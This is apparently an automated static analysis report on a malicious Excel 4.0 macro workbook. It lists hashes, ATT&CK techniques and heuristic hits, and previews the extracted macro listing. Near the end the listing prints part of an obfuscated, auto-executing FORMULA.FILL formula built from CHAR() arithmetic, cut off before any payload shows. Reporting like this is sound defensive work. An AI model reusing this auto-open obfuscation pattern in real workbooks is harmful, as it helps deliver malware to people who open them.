Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30ad45e0c2a2ff8d…

MALICIOUS

Office (OLE)

171.5 KB Created: 2020-05-11 08:24:54 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: dc416febe8db2d5f5850f3630535aabb SHA-1: a0b8c0091c06147635969a8a82109fbdd4b2322b SHA-256: 30ad45e0c2a2ff8dd1b470ad0b09c5de0a696393eab88780dfe09a52ddacb67c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open entry, indicating it will execute automatically upon opening. The macros utilize dangerous functions such as RUN, suggesting an attempt to execute arbitrary code. The specific payload or target is not discernible from the provided evidence, leading to an unknown family classification.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 125716 bytes
SHA-256: ec4b233a79c421a67cf26c72a164e19d449cfb4c93130dd0a14b42b8a146a01e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GO62871 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,BY47,"",618.00000000000000000000
'  Sheet,EB111,"",0.79721362229102177288
'  Sheet,BX172,"",4320.00000000000000000000
'  Sheet,JK182,"",596.00000000000000000000
'  Sheet,GO191,"",-427.00000000000000000000
'  Sheet,FI223,"",-6.46938775510204067132
'  Sheet,BR247,"",0.12592592592592591338
'  Sheet,EF249,"",-177.00000000000000000000
'  Sheet,CM254,"",-346.75000000000000000000
'  Sheet,L270,"",1.41978021978021962113
'  Sheet,C275,"",-365.00000000000000000000
'  Sheet,CD306,"",-5.62500000000000000000
'  Sheet,P418,"",-2.24390243902439046053
'  Sheet,FZ458,"",-369.00000000000000000000
'  Sheet,JB547,"",-293.50000000000000000000
'  Sheet,CB560,"",-212.00000000000000000000
'  Sheet,DH603,"",-9.14545454545454461481
'  Sheet,HK611,"",-108.37500000000000000000
'  Sheet,GN622,"",0.01923512106811495898
'  Sheet,EC667,"",-355.75000000000000000000
'  Sheet,S671,"",-16.00000000000000000000
'  Sheet,BV687,"",555.00000000000000000000
'  Sheet,CO698,"",-3.62671232876712323900
'  Sheet,DY736,"",-89.19999999999998863132
'  Sheet,CN737,"",7.21938775510204067132
'  Sheet,JQ796,"",-1.20588235294117640528
'  Sheet,GS824,"",0.10924369747899159711
'  Sheet,HB841,"",4310.00000000000000000000
'  Sheet,H843,"",12.86956521739130465676
'  Sheet,HT863,"",-309.75000000000000000000
'  Sheet,DH959,"",0.41021671826625388801
'  Sheet,GF963,"",1.06521739130434789367
'  Sheet,JQ1032,"",1.13333333333333330373
'  Sheet,FY1111,"",4343.00000000000000000000
'  Sheet,G1208,"",-3.30769230769230748734
'  Sheet,JH1254,"",-4315.00000000000000000000
'  Sheet,M1264,"",-0.29360465116279071962
'  Sheet,DU1336,"",1.27920792079207901182
'  Sheet,DN1397,"",-1.07317073170731713816
'  Sheet,K1415,"",-0.36607142857142854764
'  Sheet,IP1427,"",-1.57317073170731713816
'  Sheet,CF1442,"",285.00000000000000000000
'  Sheet,EZ1447,"",-88.19999999999998863132
'  Sheet,FX1471,"",244.75000000000000000000
'  Sheet,DP1518,"",12.52173913043478314933
'  Sheet,N1530,"",-3.01829268292682906250
'  Sheet,R1551,"",355.00000000000000000000
'  Sheet,DU1737,"",-425.00000000000000000000
'  Sheet,BP1776,"",344.75000000000000000000
'  Sheet,FY1853,"",-0.26756756756756755466
'  Sheet,HB1886,"",4.26204819277108448716
'  Sheet,EH1947,"",-288.75000000000000000000
'  Sheet,CI1972,"",596.00000000000000000000
'  Sheet,Q1992,"",78.19999999999998863132
'  Sheet,BU2024,"",0.16350710900473933163
'  Sheet,S2046,"",-309.75000000000000000000
'  Sheet,JF2172,"",-329.00000000000000000000
'  Sheet,IR2221,"",-6.03658536585365812499
'  Sheet,CQ2242,"",274.75000000000000000000
'  Sheet,EO2264,"",4.13913043478260878061
'  Sheet,HY2322,"",132.00000000000000000000
'  Sheet,IY2342,"",365.00000000000000000000
'  Sheet,EU2344,"",229.00000000000000000000
'  Sheet,JE2365,"",1.38924731182795690998
'  Sheet,FY2380,"",191.00000000000000000000
'  Sheet,CD2410,"",-3.13291139240506311126
'  Sheet,O2420,"",1.50877192982456143078
'  Sheet,IL2442,"",0.62790697674418605168
'  Sheet,HX2547,"",92.00000000000000000000
'  Sheet,GE2568,"",-91.00000000000000000000
'  Sheet,GS2690,"",-3.30937744140624978684
'  Sheet,EM2844,"FORMULA.FILL(CHAR(FV28728/HC21253)&CHAR(CA28071+CC30559)&CHAR(CA28071/HL29642)&CHAR(FV28728-JL25205)&CHAR(DK42702*ER49559)&CHAR(CH30421-CV12280)&CHAR(BY32448-BF48949)&CHAR(BY32448/GH59605)&CHAR(O25009/CR26252)&CHAR(HO21898-CC55234)&CHAR(JJ45229/IF26681)&CHAR(EG31282/H21947)&CHAR(DK42702*HI5138)&CHAR(FV28728/EQ17766)&CHAR(DK42702+CB49199)&CHAR(BY32448*DF54092)&CHAR(CH30421*GI3964)&CHAR(FV28728*JG54636)&CHAR(JJ45229+EB49461)&CHAR(BI6339/Q46532)&CHAR(CH30421+FZ9785)&CHAR(CA28071*JP45402)&CHAR(EG31282*ED5589)&CHAR(FV28728/BB51989)&CHAR(CA2807
... (truncated)